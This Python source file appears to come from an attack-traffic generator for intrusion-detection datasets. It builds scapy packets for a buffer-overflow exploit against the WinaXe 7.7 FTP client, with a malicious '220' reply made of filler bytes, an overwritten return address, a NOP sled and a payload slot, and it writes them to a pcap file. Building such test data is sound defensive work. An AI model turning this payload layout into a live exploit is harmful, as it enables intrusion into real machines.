FTPWinaXeExploit.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221
  1. import logging
  2. import random as rnd
  3. import scapy.layers.inet as inet
  4. import Attack.AttackParameters as atkParam
  5. import Attack.BaseAttack as BaseAttack
  6. import ID2TLib.Utility
  7. import ID2TLib.Utility as Util
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. # noinspection PyPep8
  10. #FTP Port used for Creation of packets
  11. ftp_port = 21
  12. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  13. def __init__(self):
  14. """
  15. Creates a new instance of the FTPWinaXeExploit.
  16. """
  17. # Initialize attack
  18. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  19. "Privilege elevation")
  20. # Define allowed parameters and their type
  21. self.supported_params.update({
  22. atkParam.Parameter.IP_SOURCE: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  23. atkParam.Parameter.IP_DESTINATION: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  24. atkParam.Parameter.MAC_SOURCE: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  25. atkParam.Parameter.MAC_DESTINATION: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  26. atkParam.Parameter.INJECT_AT_TIMESTAMP: atkParam.ParameterTypes.TYPE_FLOAT,
  27. atkParam.Parameter.INJECT_AFTER_PACKET: atkParam.ParameterTypes.TYPE_PACKET_POSITION,
  28. atkParam.Parameter.IP_SOURCE_RANDOMIZE: atkParam.ParameterTypes.TYPE_BOOLEAN,
  29. atkParam.Parameter.PACKETS_PER_SECOND: atkParam.ParameterTypes.TYPE_FLOAT,
  30. atkParam.Parameter.CUSTOM_PAYLOAD: atkParam.ParameterTypes.TYPE_STRING,
  31. atkParam.Parameter.CUSTOM_PAYLOAD_FILE: atkParam.ParameterTypes.TYPE_STRING
  32. })
  33. def init_params(self):
  34. """
  35. Initialize the parameters of this attack using the user supplied command line parameters.
  36. Use the provided statistics to calculate default parameters and to process user
  37. supplied queries.
  38. """
  39. # PARAMETERS: initialize with default values
  40. # (values are overwritten if user specifies them)
  41. most_used_ip_address = self.statistics.get_most_used_ip_address()
  42. # The most used IP class in background traffic
  43. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.get_most_used_ip_class())
  44. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  45. self.add_param_value(atkParam.Parameter.IP_DESTINATION, attacker_ip)
  46. self.add_param_value(atkParam.Parameter.MAC_DESTINATION, self.generate_random_mac_address())
  47. random_ip_address = self.statistics.get_random_ip_address()
  48. # victim should be valid and not equal to attacker
  49. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  50. random_ip_address = self.statistics.get_random_ip_address()
  51. self.add_param_value(atkParam.Parameter.IP_SOURCE, random_ip_address)
  52. victim_mac = self.statistics.get_mac_address(random_ip_address)
  53. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  54. victim_mac = self.generate_random_mac_address()
  55. self.add_param_value(atkParam.Parameter.MAC_SOURCE, victim_mac)
  56. self.add_param_value(atkParam.Parameter.PACKETS_PER_SECOND,
  57. (self.statistics.get_pps_sent(most_used_ip_address) +
  58. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  59. self.add_param_value(atkParam.Parameter.INJECT_AFTER_PACKET, rnd.randint(0, self.statistics.get_packet_count()))
  60. self.add_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE, 'False')
  61. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD, '')
  62. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE, '')
  63. def generate_attack_packets(self):
  64. """
  65. Creates the attack packets.
  66. """
  67. pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND)
  68. # Timestamp
  69. timestamp_next_pkt = self.get_param_value(atkParam.Parameter.INJECT_AT_TIMESTAMP)
  70. # store start time of attack
  71. self.attack_start_utime = timestamp_next_pkt
  72. # Initialize parameters
  73. ip_victim = self.get_param_value(atkParam.Parameter.IP_SOURCE)
  74. ip_attacker = self.get_param_value(atkParam.Parameter.IP_DESTINATION)
  75. mac_victim = self.get_param_value(atkParam.Parameter.MAC_SOURCE)
  76. mac_attacker = self.get_param_value(atkParam.Parameter.MAC_DESTINATION)
  77. custom_payload = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD)
  78. custom_payload_len = len(custom_payload)
  79. custom_payload_limit = 1000
  80. Util.check_payload_len(custom_payload_len, custom_payload_limit)
  81. self.packets = []
  82. # Create random victim if specified
  83. if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE):
  84. # The most used IP class in background traffic
  85. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.get_most_used_ip_class())
  86. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  87. mac_victim = self.generate_random_mac_address()
  88. # Get MSS, TTL and Window size value for victim/attacker IP
  89. victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
  90. attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
  91. min_delay, max_delay = self.get_reply_delay(ip_attacker)
  92. attacker_seq = rnd.randint(1000, 50000)
  93. victim_seq = rnd.randint(1000, 50000)
  94. sport = Util.generate_source_port_from_platform("win7")
  95. # connection request from victim (client)
  96. victim_ether = inet.Ether(src=mac_victim, dst=mac_attacker)
  97. victim_ip = inet.IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  98. request_tcp = inet.TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  99. seq=victim_seq, options=[('MSS', victim_mss_value)])
  100. victim_seq += 1
  101. syn = (victim_ether / victim_ip / request_tcp)
  102. syn.time = timestamp_next_pkt
  103. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  104. self.packets.append(syn)
  105. # response from attacker (server)
  106. attacker_ether = inet.Ether(src=mac_attacker, dst=mac_victim)
  107. attacker_ip = inet.IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  108. reply_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  109. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  110. attacker_seq += 1
  111. synack = (attacker_ether / attacker_ip / reply_tcp)
  112. synack.time = timestamp_next_pkt
  113. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  114. self.packets.append(synack)
  115. # acknowledgement from victim (client)
  116. ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  117. window=victim_win_value, options=[('MSS', victim_mss_value)])
  118. ack = (victim_ether / victim_ip / ack_tcp)
  119. ack.time = timestamp_next_pkt
  120. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  121. self.packets.append(ack)
  122. # FTP exploit packet
  123. ftp_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  124. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  125. characters = b'220'
  126. characters += Util.get_rnd_bytes(2065, Util.forbidden_chars)
  127. characters += b'\x96\x72\x01\x68'
  128. characters += Util.get_rnd_x86_nop(10, False, Util.forbidden_chars)
  129. custom_payload_file = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE)
  130. if custom_payload == '':
  131. if custom_payload_file == '':
  132. payload = Util.get_rnd_bytes(custom_payload_limit, Util.forbidden_chars)
  133. else:
  134. payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
  135. Util.check_payload_len(len(payload), custom_payload_limit)
  136. payload += Util.get_rnd_x86_nop(custom_payload_limit - len(payload), False, Util.forbidden_chars)
  137. else:
  138. encoded_payload = custom_payload.encode()
  139. payload = Util.get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, Util.forbidden_chars)
  140. payload += encoded_payload
  141. characters += payload
  142. characters += Util.get_rnd_x86_nop(20, False, Util.forbidden_chars)
  143. characters += b'\r\n'
  144. ftp_tcp.add_payload(characters)
  145. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  146. ftp_buff.time = timestamp_next_pkt
  147. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  148. self.packets.append(ftp_buff)
  149. attacker_seq += len(ftp_tcp.payload)
  150. # Fin Ack from attacker
  151. fin_ack_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  152. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  153. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  154. fin_ack.time = timestamp_next_pkt
  155. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  156. self.packets.append(fin_ack)
  157. # Ack from victim on FTP packet
  158. ftp_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  159. window=victim_win_value, options=[('MSS', victim_mss_value)])
  160. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  161. ftp_ack.time = timestamp_next_pkt
  162. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  163. self.packets.append(ftp_ack)
  164. # Ack from victim on Fin/Ack of attacker
  165. fin_ack_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq + 1, flags='A',
  166. window=victim_win_value, options=[('MSS', victim_mss_value)])
  167. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  168. fin_ack_ack.time = timestamp_next_pkt
  169. self.packets.append(fin_ack_ack)
  170. def generate_attack_pcap(self):
  171. """
  172. Creates a pcap containing the attack packets.
  173. :return: The location of the generated pcap file.
  174. """
  175. # store end time of attack
  176. self.attack_end_utime = self.packets[-1].time
  177. # write attack packets to pcap
  178. pcap_path = self.write_attack_pcap(sorted(self.packets, key=lambda pkt: pkt.time))
  179. # return packets sorted by packet time_sec_start
  180. return len(self.packets), pcap_path